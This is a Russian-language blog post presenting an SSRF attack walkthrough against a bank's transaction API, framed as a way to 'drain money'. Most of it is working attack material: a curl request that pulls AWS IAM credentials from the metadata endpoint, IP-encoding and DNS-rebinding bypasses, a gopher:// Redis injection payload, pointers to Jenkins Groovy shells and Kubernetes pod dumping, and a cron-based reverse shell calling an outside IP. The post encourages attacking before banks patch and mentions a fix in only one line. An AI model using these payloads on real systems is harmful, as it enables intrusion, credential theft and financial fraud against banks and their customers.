Михаил
Тарасов
Главная / Блог / SSRF на внутренних банковских апи: как слить бабки через curl

SSRF на внутренних банковских апи: как слить бабки через curl

21 мая, 2025

13

SSRF на внутренних банковских апи: как слить бабки через curl

Что вижу:
Банковский API с /v1/transaction, который принимает callback_url. В ответе — статус 200, но в теле Internal Server Error, когда кидаешь http://localhost. Пахнет SSRF-ом, как залежалый макчак в подвале.

Как поймал:
— Инструмент: ffuf -w urls.txt -u 'https://bank.com/v1/transaction?callback=FUZZ' -mr 'error'
— Метод: Fuzzing параметров на внутренние IP (127.0.0.1, 192.168.x.x).

Чем пахнет:
— Класс: SSRF → чтение метаданных/подмена запросов к внутренним сервисам.
— Вероятность: 9/10. Банки любят legacy-код с дефолтными настройками.

Че почем

Эксплойт:

curl -X POST 'https://bank.com/v1/transaction' \
  -d 'callback_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

Если повезёт: В ответе получишь AWS-ключи админа, который забыл настроить VPC.

Обход защиты:
— Подмена IP через шестнадцатеричный формат: http://0x7f000001 → 127.0.0.1.
— DNS-ребейнд: http://randomstring.burpcollaborator.net → слови callback на свой сервер.

Доказательство:
Скриншот ответа с данными IAM-роли. «Видишь AccessKeyId? Это не пароль от Wi-Fi — это твой билет на Бали».

3 вектора для добивания:

  1. Перехват Jenkins: http://jenkins.internal:8080/administrative/script — если открыт, заливай Groovy-шелл.
  2. Атака на Redis: Используй gopher:// для инъекции команд в unprotected Redis:
gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0AINFO%0D%0A
  1. Кража куков Kubernetes: http://localhost:10255/pods → если вернулись поды — дамь их через kubectl.

План атаки:

  1. Проверяешь, отвечает ли callback_url на внутренние запросы.
  2. Цель — метаданные облака (169.254.169.254 для AWS, metadata.google.internal для GCP).
  3. Если клауд закрыт — ищи интранет: postgres.internal:5432, vault:8200, elasticsearch:9200.
  4. При успехе — либо сливай данные, либо поднимай reverse-shell через crond:
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/144.228.71.44/1337 0>&1'" | curl -X POST --data-binary @- http://bank.com/v1/transaction?callback_url=http://internal-ci:8080/job/build/apply

Бонус от деда

Если в ответе светится X-Powered-By: BankFramework 2.3:
— Гугли CVE-2022-23944 (SSRF via malformed URLs).
— Эксплойт: callback_url=http://attacker.com%20@internal.api:8080.

Мемная аналитика:
«Банковские API — как тёща: доверяешь им деньги, а они сливают всё через банальный SSRF».

Итог:
— Уязвимость: Кривая валидация URL.
— Фикс: Блокировать запросы к localhost/cloud-metadata, использовать allow-листы.
— Но банки фиксят через 5 лет. Дерзай, пока не залатали.

    Comments are closed

    / Популярные записи